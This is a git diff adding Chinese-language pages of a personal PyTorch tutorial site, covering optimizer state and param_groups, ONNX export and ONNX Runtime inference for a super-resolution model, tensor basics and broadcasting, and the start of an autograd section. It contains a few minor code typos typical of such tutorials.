print("The grad of weight after step:\n{}".format(weight.grad))
# 权重清零
optimizer.zero_grad()
# 检验权重是否为0
print("The grad of weight after optimizer.zero_grad():\n{}".format(weight.grad))
# 输出参数
print("optimizer.params_group is \n{}".format(optimizer.param_groups))
# 查看参数位置,optimizer和weight的位置一样,我觉得这里可以参考Python是基于值管理
print("weight in optimizer:{}\nweight in weight:{}\n".format(id(optimizer.param_groups[0]['params'][0]), id(weight)))
# 添加参数:weight2
weight2 = torch.randn((3, 3), requires_grad=True)
optimizer.add_param_group({"params": weight2, 'lr': 0.0001, 'nesterov': True})
# 查看现有的参数
print("optimizer.param_groups is\n{}".format(optimizer.param_groups))
# 查看当前状态信息
opt_state_dict = optimizer.state_dict()
print("state_dict before step:\n", opt_state_dict)
# 进行5次step操作
for _ in range(50):
optimizer.step()
# 输出现有状态信息
print("state_dict after step:\n", optimizer.state_dict())
# 保存参数信息
torch.save(optimizer.state_dict(),os.path.join(r"D:\pythonProject\Attention_Unet", "optimizer_state_dict.pkl"))
print("----------done-----------")
# 加载参数信息
state_dict = torch.load(r"D:\pythonProject\Attention_Unet\optimizer_state_dict.pkl") # 需要修改为你自己的路径
optimizer.load_state_dict(state_dict)
print("load state_dict successfully\n{}".format(state_dict))
# 输出最后属性信息
print("\n{}".format(optimizer.defaults))
print("\n{}".format(optimizer.state))
print("\n{}".format(optimizer.param_groups))
+

3.9.3 输出结果​

+
# 进行更新前的数据,梯度
The data of weight before step:
tensor([[-0.3077, -0.1808],
[-0.7462, -1.5556]])
The grad of weight before step:
tensor([[1., 1.],
[1., 1.]])
# 进行更新后的数据,梯度
The data of weight after step:
tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]])
The grad of weight after step:
tensor([[1., 1.],
[1., 1.]])
# 进行梯度清零的梯度
The grad of weight after optimizer.zero_grad():
tensor([[0., 0.],
[0., 0.]])
# 输出信息
optimizer.params_group is
[{'params': [tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}]

# 证明了优化器的和weight的储存是在一个地方,Python基于值管理
weight in optimizer:1841923407424
weight in weight:1841923407424

# 输出参数
optimizer.param_groups is
[{'params': [tensor([[-0.4077, -0.2808],
[-0.8462, -1.6556]], requires_grad=True)], 'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}, {'params': [tensor([[ 0.4539, -2.1901, -0.6662],
[ 0.6630, -1.5178, -0.8708],
[-2.0222, 1.4573, 0.8657]], requires_grad=True)], 'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0}]

# 进行更新前的参数查看,用state_dict
state_dict before step:
{'state': {0: {'momentum_buffer': tensor([[1., 1.],
[1., 1.]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}
# 进行更新后的参数查看,用state_dict
state_dict after step:
{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}

# 存储信息完毕
----------done-----------
# 加载参数信息成功
load state_dict successfully
# 加载参数信息
{'state': {0: {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}}, 'param_groups': [{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [0]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [1]}]}

# defaults的属性输出
{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False}

# state属性输出
defaultdict(<class 'dict'>, {tensor([[-1.3031, -1.1761],
[-1.7415, -2.5510]], requires_grad=True): {'momentum_buffer': tensor([[0.0052, 0.0052],
[0.0052, 0.0052]])}})

# param_groups属性输出
[{'lr': 0.1, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'nesterov': False, 'params': [tensor([[-1.3031, -1.1761],
[-1.7415, -2.5510]], requires_grad=True)]}, {'lr': 0.0001, 'nesterov': True, 'momentum': 0.9, 'dampening': 0, 'weight_decay': 0, 'params': [tensor([[ 0.4539, -2.1901, -0.6662],
[ 0.6630, -1.5178, -0.8708],
[-2.0222, 1.4573, 0.8657]], requires_grad=True)]}]

+

注意:

+
    +
  1. 每个优化器都是一个类,我们一定要进行实例化才能使用,比如下方实现:
  2. +
+
class Net(nn.Moddule):
···
net = Net()
optim = torch.optim.SGD(net.parameters(),lr=lr)
optim.step()
+
    +
  1. optimizer在一个神经网络的epoch中需要实现下面两个步骤: +
      +
    1. 梯度置零
    2. +
    3. 梯度更新
    4. +
    +
  2. +
+
optimizer = torch.optim.SGD(net.parameters(), lr=1e-5)
for epoch in range(EPOCH):
...
optimizer.zero_grad() #梯度置零
loss = ... #计算loss
loss.backward() #BP反向传播
optimizer.step() #梯度更新
+
    +
  1. 给网络不同的层赋予不同的优化器参数。
  2. +
+
from torch import optim
from torchvision.models import resnet18

net = resnet18()

optimizer = optim.SGD([
{'params':net.fc.parameters()},#fc的lr使用默认的1e-5
{'params':net.layer4[0].conv1.parameters(),'lr':1e-2}],lr=1e-5)

# 可以使用param_groups查看属性
+

3.9.4 实验​

+

为了更好的帮大家了解优化器,我们对PyTorch中的优化器进行了一个小测试

+

数据生成:

+
a = torch.linspace(-1, 1, 1000)
# 升维操作
x = torch.unsqueeze(a, dim=1)
y = x.pow(2) + 0.1 * torch.normal(torch.zeros(x.size()))
+

数据分布曲线:

+

+

网络结构

+
class Net(nn.Module):
def __init__(self):
super(Net, self).__init__()
self.hidden = nn.Linear(1, 20)
self.predict = nn.Linear(20, 1)

def forward(self, x):
x = self.hidden(x)
x = F.relu(x)
x = self.predict(x)
return x

+

下面这部分是测试图,纵坐标代表Loss,横坐标代表的是Step:

+

+

在上面的图片上,曲线下降的趋势和对应的steps代表了在这轮数据,模型下的收敛速度

+

注意:

+

优化器的选择是需要根据模型进行改变的,不存在绝对的好坏之分,我们需要多进行一些测试。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第三章/index.html b/en/docs/个人知识库/AI/PyTorch/第三章/index.html new file mode 100644 index 0000000..86c0cbd --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第三章/index.html @@ -0,0 +1,46 @@ + + + + + +第三章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html b/en/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html new file mode 100644 index 0000000..d330f06 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理/index.html @@ -0,0 +1,123 @@ + + + + + +9.1 使用ONNX进行部署并推理.md | wjlin0 + + + + + + + +

9.1 使用ONNX进行部署并推理.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:31
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

9.1 使用ONNX进行部署并推理

+

深度学习的最终目的是要实现模型的部署以方便我们的生活和解决传统方法不能解决的问题。通常人们会将模型部署在手机端、开发板,嵌入式设备上,但是这些设备上由于框架的规模,环境依赖,算力的限制,我们无法直接使用训练好的权重进行推理,因此我们需要将得到的权重进行变换才能使我们的模型可以成功部署在上述设备上。而经过工业界和学术界多年的探索,出现了以下的模型部署pipeline:

+框架 +

而在本节中我们会将PyTorch训练好的模型转换为ONNX 格式,然后使用ONNX Runtime运行它进行推理。通过本节课的学习,你将收获:

+
    +
  1. 模型部署的整体流程
  2. +
  3. 使用torch.onnx进行模型格式的转化
  4. +
  5. 使用ONNX Runtime进行模型推理
  6. +
  7. 完整的官方代码解释
  8. +
+

9.1.1 ONNX和ONNX Runtime简介​

+

9.1.1.1 ONNX简介​

+ +

ONNX( Open Neural Network Exchange) 是 Facebook (现Meta) 和微软在2017年共同发布的,用于标准描述计算图的一种格式。ONNX通过定义一组与环境和平台无关的标准格式,使AI模型可以在不同框架和环境下交互使用,ONNX可以看作深度学习框架和部署端的桥梁,就像编译器的中间语言一样。由于各框架兼容性不一,我们通常只用 ONNX 表示更容易部署的静态图。硬件和软件厂商只需要基于ONNX标准优化模型性能,让所有兼容ONNX标准的框架受益。目前,ONNX主要关注在模型预测方面,使用不同框架训练的模型,转化为ONNX格式后,可以很容易的部署在兼容ONNX的运行环境中。目前,在微软,亚马逊 ,Facebook(现Meta) 和 IBM 等公司和众多开源贡献的共同维护下,ONNX 已经对接了下图的多种深度学习框架和多种推理引擎。

+

image-20220805222147320

+

9.1.1.2 ONNX Runtime简介​

+ +

ONNX Runtime 是由微软维护的一个跨平台机器学习推理加速器,它直接对接ONNX,可以直接读取.onnx文件并实现推理,不需要再把 .onnx 格式的文件转换成其他格式的文件。PyTorch借助ONNX Runtime也完成了部署的最后一公里,构建了 PyTorch --> ONNX --> ONNX Runtime 部署流水线,我们只需要将模型转换为 .onnx 文件,并在 ONNX Runtime 上运行模型即可。

+

9.1.1.3 ONNX和ONNX Runtime的安装​

+

ONNX和ONNX Runtime作为python的一个包与其他包的安装方法相同,我们可以选择使用conda或者pip进行安装,只需要输入以下命令即可:

+
# 激活虚拟环境
conda activate env_name # env_name换成环境名称
# 安装onnx
pip install onnx
# 安装onnx runtime
pip install onnxruntime # 使用CPU进行推理
# pip install onnxruntime-gpu # 使用GPU进行推理
+

除此之外,我们还需要注意ONNX和ONNX Runtime之间的适配关系。我们可以访问ONNX Runtime的Github进行查看,链接地址如下:

+

ONNX和ONNX Runtime的适配关系:https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md

+

当我们想使用GPU进行推理时,我们需要先将安装的onnxruntime卸载,再安装onnxruntime-gpu,同时我们还需要考虑ONNX Runtime与CUDA之间的适配关系,我们可以参考以下链接进行查看:

+

ONNX Runtime和CUDA之间的适配关系:https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html

+

9.1.2 模型导出为ONNX​

+

9.1.2.1 模型转换为ONNX格式​

+

在接下来的部分,我们将使用torch.onnx.export()把模型转换成 ONNX 格式的函数。模型导成onnx格式前,我们必须调用model.eval()或者model.train(False)以确保我们的模型处在推理模式下,避免因为dropout或batchnorm等运算符在推理和训练模式下的不同产生错误。(因为本课程偏向实战,对于ONNX的内部流程不做过多赘述,有兴趣的同学可以进行更深一步了解)

+
import torch.onnx 
# 转换的onnx格式的名称,文件后缀需为.onnx
onnx_file_name = "xxxxxx.onnx"
# 我们需要转换的模型,将torch_model设置为自己的模型
model = torch_model
# 加载权重,将model.pth转换为自己的模型权重
# 如果模型的权重是使用多卡训练出来,我们需要去除权重中多的module. 具体操作可以见5.4节
model = model.load_state_dict(torch.load("model.pth"))
# 导出模型前,必须调用model.eval()或者model.train(False)
model.eval()
# dummy_input就是一个输入的实例,仅提供输入shape、type等信息
batch_size = 1 # 随机的取值,当设置dynamic_axes后影响不大
dummy_input = torch.randn(batch_size, 1, 224, 224, requires_grad=True)
# 这组输入对应的模型输出
output = model(dummy_input)
# 导出模型
torch.onnx.export(model, # 模型的名称
dummy_input, # 一组实例化输入
onnx_file_name, # 文件保存路径/名称
export_params=True, # 如果指定为True或默认, 参数也会被导出. 如果你要导出一个没训练过的就设为 False.
opset_version=10, # ONNX 算子集的版本,当前已更新到15
do_constant_folding=True, # 是否执行常量折叠优化
input_names = ['input'], # 输入模型的张量的名称
output_names = ['output'], # 输出模型的张量的名称
# dynamic_axes将batch_size的维度指定为动态,
# 后续进行推理的数据可以与导出的dummy_input的batch_size不同
dynamic_axes={'input' : {0 : 'batch_size'},
'output' : {0 : 'batch_size'}})

+

9.1.2.2 ONNX模型的检验​

+

当上述代码运行成功后,我们会得到一个ONNX 模型文件。我们需要检测下我们的模型文件是否可用,我们将通过onnx.checker.check_model()进行检验,具体方法如下:

+
import onnx
# 我们可以使用异常处理的方法进行检验
try:
# 当我们的模型不可用时,将会报出异常
onnx.checker.check_model(self.onnx_model)
except onnx.checker.ValidationError as e:
print("The model is invalid: %s"%e)
else:
# 模型可用时,将不会报出异常,并会输出“The model is valid!”
print("The model is valid!")
+

9.1.2.3 ONNX可视化​

+

在将模型导出为onnx格式后,我们希望有个工具可以像Tensorboard一样可视化模型来观察每个节点的属性特征。随着Netron的出现,我们也可以实现onnx的可视化。

+ +

使用Netron进行可视化后,我们不仅能看到整体模型的架构,还能看到每一个节点的信息。在接下来的内容中我们将以Netron官方提供的squeezenet为例进行介绍。下面第一幅图截取自squeezenet网络,我们可以看到网络的整体流程和输入。

+

结构图

+

第二幅图显示了第一个Conv的信息包括kernel_size,strides,input,output等信息,同理当我们点击其他节点时也可以显示该节点的信息。

+

image-20220805221657416

+

9.1.3 使用ONNX Runtime进行推理​

+

通过以上的操作,我们已经完成了PyTorch的模型到ONNX模型的转换,并通过Netron可视化和onnx.checker.check_model()检查了模型的正确性。在这一步,我们将使用ONNX Runtime运行一下转化后的模型,看一下推理后的结果。

+
# 导入onnxruntime
import onnxruntime
# 需要进行推理的onnx模型文件名称
onnx_file_name = "xxxxxx.onnx"

# onnxruntime.InferenceSession用于获取一个 ONNX Runtime 推理器
ort_session = onnxruntime.InferenceSession(onnx_file_name)

# 构建字典的输入数据,字典的key需要与我们构建onnx模型时的input_names相同
# 输入的input_img 也需要改变为ndarray格式
ort_inputs = {'input': input_img}
# 我们更建议使用下面这种方法,因为避免了手动输入key
# ort_inputs = {ort_session.get_inputs()[0].name:input_img}

# run是进行模型的推理,第一个参数为输出张量名的列表,一般情况可以设置为None
# 第二个参数为构建的输入值的字典
# 由于返回的结果被列表嵌套,因此我们需要进行[0]的索引
ort_output = ort_session.run(None,ort_inputs)[0]
# output = {ort_session.get_outputs()[0].name}
# ort_output = ort_session.run([output], ort_inputs)[0]

+

在上述的步骤中,我们有几个需要注意的点:

+
    +
  1. PyTorch模型的输入为tensor,而ONNX的输入为array,因此我们需要对张量进行变换或者直接将数据读取为array格式,我们可以实现下面的方式进行张量到array的转化。
  2. +
+
def to_numpy(tensor):
return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()
+
    +
  1. 输入的array的shape应该和我们导出模型的dummy_input的shape相同,如果图片大小不一样,我们应该先进行resize操作。
  2. +
  3. run的结果是一个列表,我们需要进行索引操作才能获得array格式的结果。
  4. +
  5. 在构建输入的字典时,我们需要注意字典的key应与导出ONNX格式设置的input_name相同,因此我们更建议使用上述的第二种方法构建输入的字典。
  6. +
+

9.1.4 代码实战​

+

本部分代码选自PyTorch官网示例代码,访问链接可点击下方推荐阅读2进行查看和使用官网提供的Colab对onnx导出进行进一步理解。如有侵权,可立即删除

+

1. 定义超分辨模型​

+
# 导入相关包
import io
import numpy as np
from torch import nn
import torch.utils.model_zoo as model_zoo
import torch.onnx
import torch.nn as nn
import torch.nn.init as init

# 定义超分辨网络
class SuperResolutionNet(nn.Module):
def __init__(self, upscale_factor, inplace=False):
super(SuperResolutionNet, self).__init__()

self.relu = nn.ReLU(inplace=inplace)
self.conv1 = nn.Conv2d(1, 64, (5, 5), (1, 1), (2, 2))
self.conv2 = nn.Conv2d(64, 64, (3, 3), (1, 1), (1, 1))
self.conv3 = nn.Conv2d(64, 32, (3, 3), (1, 1), (1, 1))
self.conv4 = nn.Conv2d(32, upscale_factor ** 2, (3, 3), (1, 1), (1, 1))
self.pixel_shuffle = nn.PixelShuffle(upscale_factor)

self._initialize_weights()

def forward(self, x):
x = self.relu(self.conv1(x))
x = self.relu(self.conv2(x))
x = self.relu(self.conv3(x))
x = self.pixel_shuffle(self.conv4(x))
return x

# 模型初始化
def _initialize_weights(self):
init.orthogonal_(self.conv1.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv2.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv3.weight, init.calculate_gain('relu'))
init.orthogonal_(self.conv4.weight)

# 实例化模型
torch_model = SuperResolutionNet(upscale_factor=3)
+

2. 模型导出为ONNX格式​

+
model_url = 'https://s3.amazonaws.com/pytorch/test_data/export/superres_epoch100-44c6958e.pth'
batch_size = 1 # just a random number
# 加载预训练得到权重
map_location = lambda storage, loc: storage
if torch.cuda.is_available():
map_location = None
torch_model.load_state_dict(model_zoo.load_url(model_url, map_location=map_location))

# 将模型设置为推理模式
torch_model.eval()
# Input to the model
x = torch.randn(batch_size, 1, 224, 224, requires_grad=True)
torch_out = torch_model(x)

# 导出模型
torch.onnx.export(torch_model, # model being run
x, # model input (or a tuple for multiple inputs)
"super_resolution.onnx", # where to save the model (can be a file or file-like object)
export_params=True, # store the trained parameter weights inside the model file
opset_version=10, # the ONNX version to export the model to
do_constant_folding=True, # whether to execute constant folding for optimization
input_names = ['input'], # the model's input names
output_names = ['output'], # the model's output names
# variable length axes
dynamic_axes={'input' : {0 : 'batch_size'},
'output' : {0 : 'batch_size'}})
+

3. 检验ONNX模型​

+
import onnx
# 我们可以使用异常处理的方法进行检验
try:
# 当我们的模型不可用时,将会报出异常
onnx.checker.check_model("super_resolution.onnx")
except onnx.checker.ValidationError as e:
print("The model is invalid: %s"%e)
else:
# 模型可用时,将不会报出异常,并会输出“The model is valid!”
print("The model is valid!")
+

4. 使用ONNX Runtime进行推理​

+
import onnxruntime

ort_session = onnxruntime.InferenceSession("super_resolution.onnx")

# 将张量转化为ndarray格式
def to_numpy(tensor):
return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()

# 构建输入的字典和计算输出结果
ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(x)}
ort_outs = ort_session.run(None, ort_inputs)

# 比较使用PyTorch和ONNX Runtime得出的精度
np.testing.assert_allclose(to_numpy(torch_out), ort_outs[0], rtol=1e-03, atol=1e-05)

print("Exported model has been tested with ONNXRuntime, and the result looks good!")
+

5. 进行实际预测并可视化​

+
from PIL import Image
import torchvision.transforms as transforms

# 读取图片
img = Image.open("/cat_224x224.jpg")
# 对图片进行resize操作
resize = transforms.Resize([224, 224])
img = resize(img)

img_ycbcr = img.convert('YCbCr')
img_y, img_cb, img_cr = img_ycbcr.split()

to_tensor = transforms.ToTensor()
img_y = to_tensor(img_y)
img_y.unsqueeze_(0)
# 构建输入的字典并将value转换位array格式
ort_inputs = {ort_session.get_inputs()[0].name: to_numpy(img_y)}
ort_outs = ort_session.run(None, ort_inputs)
img_out_y = ort_outs[0]
img_out_y = Image.fromarray(np.uint8((img_out_y[0] * 255.0).clip(0, 255)[0]), mode='L')

# 保存最后得到的图片
final_img = Image.merge(
"YCbCr", [
img_out_y,
img_cb.resize(img_out_y.size, Image.BICUBIC),
img_cr.resize(img_out_y.size, Image.BICUBIC),
]).convert("RGB")

final_img.save("/cat_superres_with_ort.jpg")
+

参考资料​

+
    +
  1. miscroft-将 PyTorch 训练模型转换为 ONNX
  2. +
  3. pytorch- EXPORTING A MODEL FROM PYTORCH TO ONNX AND RUNNING IT USING ONNX RUNTIME
  4. +
  5. ONNX tutorials
  6. +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第九章/index.html b/en/docs/个人知识库/AI/PyTorch/第九章/index.html new file mode 100644 index 0000000..e051358 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第九章/index.html @@ -0,0 +1,46 @@ + + + + + +第九章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html b/en/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html new file mode 100644 index 0000000..dc0f11e --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第二章/2.1 张量/index.html @@ -0,0 +1,208 @@ + + + + + +2.1 张量.md | wjlin0 + + + + + + + +

2.1 张量.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.1 张量

+

从本章开始,我们将开始介绍PyTorch基础知识,本章我们将介绍张量,以帮助大家建立起对数据的描述,随后我们再介绍张量的运算,最后再讲PyTorch中所有神经网络的核心包 autograd ,也就是自动微分,了解完这些内容我们就可以较好地理解PyTorch代码了。在深度学习中,我们通常将数据以张量的形式进行表示,比如我们用三维张量表示一个RGB图像,四维张量表示视频。

+

经过本节的学习,你将收获:

+
    +
  • 张量的简介
  • +
  • PyTorch如何创建张量
  • +
  • PyTorch中张量的操作
  • +
  • PyTorch中张量的广播机制
  • +
+

2.1.1 简介​

+

几何代数中定义的张量是基于向量和矩阵的推广,比如我们可以将标量视为零阶张量,矢量可以视为一阶张量,矩阵就是二阶张量。

+ + + + + + + + + + + + + + + + + + + + + + + + + +
张量维度代表含义
0维张量代表的是标量(数字)
1维张量代表的是向量
2维张量代表的是矩阵
3维张量时间序列数据 股价 文本数据 单张彩色图片(RGB)
+

张量是现代机器学习的基础。它的核心是一个数据容器,多数情况下,它包含数字,有时候它也包含字符串,但这种情况比较少。因此可以把它想象成一个数字的水桶。

+

这里有一些存储在各种类型张量的公用数据集类型:

+
    +
  • 3维 = 时间序列
  • +
  • 4维 = 图像
  • +
  • 5维 = 视频
  • +
+

例子:一个图像可以用三个字段表示:

+
(width, height, channel) = 3D
+

但是,在机器学习工作中,我们经常要处理不止一张图片或一篇文档——我们要处理一个集合。我们可能有10,000张郁金香的图片,这意味着,我们将用到4D张量:

+
(batch_size, width, height, channel) = 4D
+

在PyTorch中, torch.Tensor 是存储和变换数据的主要工具。如果你之前用过NumPy,你会发现 Tensor 和NumPy的多维数组非常类似。然而,Tensor 提供GPU计算和自动求梯度等更多功能,这些使 Tensor 这一数据类型更加适合深度学习。

+

2.1.2 创建tensor​

+

在接下来的内容中,我们将介绍几种常见的创建tensor的方法。

+
    +
  1. 随机初始化矩阵 +我们可以通过torch.rand()的方法,构造一个随机初始化的矩阵:
  2. +
+

import torch
x = torch.rand(4, 3)
print(x)
+
tensor([[0.7569, 0.4281, 0.4722],
[0.9513, 0.5168, 0.1659],
[0.4493, 0.2846, 0.4363],
[0.5043, 0.9637, 0.1469]])
+
    +
  1. 全0矩阵的构建 +我们可以通过torch.zeros()构造一个矩阵全为 0,并且通过dtype设置数据类型为 long。除此以外,我们还可以通过torch.zero_()和torch.zeros_like()将现有矩阵转换为全0矩阵.
  2. +
+
import torch
x = torch.zeros(4, 3, dtype=torch.long)
print(x)
+
tensor([[0, 0, 0],
[0, 0, 0],
[0, 0, 0],
[0, 0, 0]])
+
    +
  1. 张量的构建 +我们可以通过torch.tensor()直接使用数据,构造一个张量:
  2. +
+
import torch
x = torch.tensor([5.5, 3])
print(x)
+
tensor([5.5000, 3.0000])
+
    +
  1. 基于已经存在的 tensor,创建一个 tensor :
  2. +
+
x = x.new_ones(4, 3, dtype=torch.double) 
# 创建一个新的全1矩阵tensor,返回的tensor默认具有相同的torch.dtype和torch.device
# 也可以像之前的写法 x = torch.ones(4, 3, dtype=torch.double)
print(x)
x = torch.randn_like(x, dtype=torch.float)
# 重置数据类型
print(x)
# 结果会有一样的size
# 获取它的维度信息
print(x.size())
print(x.shape)
+
tensor([[1., 1., 1.],
[1., 1., 1.],
[1., 1., 1.],
[1., 1., 1.]], dtype=torch.float64)
tensor([[ 2.7311, -0.0720, 0.2497],
[-2.3141, 0.0666, -0.5934],
[ 1.5253, 1.0336, 1.3859],
[ 1.3806, -0.6965, -1.2255]])
torch.Size([4, 3])
torch.Size([4, 3])
+

返回的torch.Size其实是一个tuple,⽀持所有tuple的操作。我们可以使用索引操作取得张量的长、宽等数据维度。

+
    +
  1. 常见的构造Tensor的方法:
  2. +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
函数功能
Tensor(sizes)基础构造函数
tensor(data)类似于np.array
ones(sizes)全1
zeros(sizes)全0
eye(sizes)对角为1,其余为0
arange(s,e,step)从s到e,步长为step
linspace(s,e,steps)从s到e,均匀分成step份
rand/randn(sizes)rand是[0,1)均匀分布;randn是服从N(0,1)的正态分布
normal(mean,std)正态分布(均值为mean,标准差是std)
randperm(m)随机排列
+

2.1.3 张量的操作​

+

在接下来的内容中,我们将介绍几种常见的张量的操作方法:

+
    +
  1. 加法操作:
  2. +
+
import torch
# 方式1
y = torch.rand(4, 3)
print(x + y)

# 方式2
print(torch.add(x, y))

# 方式3 in-place,原值修改
y.add_(x)
print(y)
+
tensor([[ 2.8977,  0.6581,  0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])
tensor([[ 2.8977, 0.6581, 0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])
tensor([[ 2.8977, 0.6581, 0.5856],
[-1.3604, 0.1656, -0.0823],
[ 2.1387, 1.7959, 1.5275],
[ 2.2427, -0.3100, -0.4826]])

+
    +
  1. 索引操作:(类似于numpy)
  2. +
+

需要注意的是:索引出来的结果与原数据共享内存,修改一个,另一个会跟着修改。如果不想修改,可以考虑使用copy()等方法

+
import torch
x = torch.rand(4,3)
# 取第二列
print(x[:, 1])
+
tensor([-0.0720,  0.0666,  1.0336, -0.6965])
+
y = x[0,:]
y += 1
print(y)
print(x[0, :]) # 源tensor也被改了了
+
tensor([3.7311, 0.9280, 1.2497])
tensor([3.7311, 0.9280, 1.2497])
+
    +
  1. 维度变换 +张量的维度变换常见的方法有torch.view()和torch.reshape(),下面我们将介绍第一中方法torch.view():
  2. +
+
x = torch.randn(4, 4)
y = x.view(16)
z = x.view(-1, 8) # -1是指这一维的维数由其他维度决定
print(x.size(), y.size(), z.size())
+
torch.Size([4, 4]) torch.Size([16]) torch.Size([2, 8])
+

注: torch.view() 返回的新tensor与源tensor共享内存(其实是同一个tensor),更改其中的一个,另外一个也会跟着改变。(顾名思义,view()仅仅是改变了对这个张量的观察角度)

+
x += 1
print(x)
print(y) # 也加了了1
+
tensor([[ 1.3019,  0.3762,  1.2397,  1.3998],
[ 0.6891, 1.3651, 1.1891, -0.6744],
[ 0.3490, 1.8377, 1.6456, 0.8403],
[-0.8259, 2.5454, 1.2474, 0.7884]])
tensor([ 1.3019, 0.3762, 1.2397, 1.3998, 0.6891, 1.3651, 1.1891, -0.6744,
0.3490, 1.8377, 1.6456, 0.8403, -0.8259, 2.5454, 1.2474, 0.7884])
+

上面我们说过torch.view()会改变原始张量,但是很多情况下,我们希望原始张量和变换后的张量互相不影响。为为了使创建的张量和原始张量不共享内存,我们需要使用第二种方法torch.reshape(), 同样可以改变张量的形状,但是此函数并不能保证返回的是其拷贝值,所以官方不推荐使用。推荐的方法是我们先用 clone() 创造一个张量副本然后再使用 torch.view()进行函数维度变换 。

+

注:使用 clone() 还有一个好处是会被记录在计算图中,即梯度回传到副本时也会传到源 Tensor 。 +3. 取值操作 +如果我们有一个元素 tensor ,我们可以使用 .item() 来获得这个 value,而不获得其他性质:

+
import torch
x = torch.randn(1)
print(type(x))
print(type(x.item()))
+
<class 'torch.Tensor'>
<class 'float'>
+

PyTorch中的 Tensor 支持超过一百种操作,包括转置、索引、切片、数学运算、线性代数、随机数等等,具体使用方法可参考官方文档。

+

2.1.4 广播机制​

+

当对两个形状不同的 Tensor 按元素运算时,可能会触发广播(broadcasting)机制:先适当复制元素使这两个 Tensor 形状相同后再按元素运算。

+
x = torch.arange(1, 3).view(1, 2)
print(x)
y = torch.arange(1, 4).view(3, 1)
print(y)
print(x + y)
+
tensor([[1, 2]])
tensor([[1],
[2],
[3]])
tensor([[2, 3],
[3, 4],
[4, 5]])
+

由于x和y分别是1行2列和3行1列的矩阵,如果要计算x+y,那么x中第一行的2个元素被广播 (复制)到了第二行和第三行,⽽y中第⼀列的3个元素被广播(复制)到了第二列。如此,就可以对2个3行2列的矩阵按元素相加。

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html b/en/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html new file mode 100644 index 0000000..86f3457 --- /dev/null +++ b/en/docs/个人知识库/AI/PyTorch/第二章/2.2 自动求导/index.html @@ -0,0 +1,107 @@ + + + + + +2.2 自动求导.md | wjlin0 + + + + + + + +

2.2 自动求导.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:13
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

2.2 自动求导

+

PyTorch 中,所有神经网络的核心是 autograd 包。autograd包为张量上的所有操作提供了自动求导机制。它是一个在运行时定义 ( define-by-run )的框架,这意味着反向传播是根据代码如何运行来决定的,并且每次迭代可以是不同的。

+

经过本节的学习,你将收获:

+
    +
  • autograd的求导机制
  • +
  • 梯度的反向传播
  • +
+

Autograd简介​

+

torch.Tensor 是这个包的核心类。如果设置它的属性 .requires_grad 为 True,那么它将会追踪对于该张量的所有操作。当完成计算后可以通过调用 .backward(),来自动计算所有的梯度。这个张量的所有梯度将会自动累加到.grad属性。

+

注意:在 y.backward() 时,如果 y 是标量,则不需要为 backward() 传入任何参数;否则,需要传入一个与 y 同形的Tensor。

+

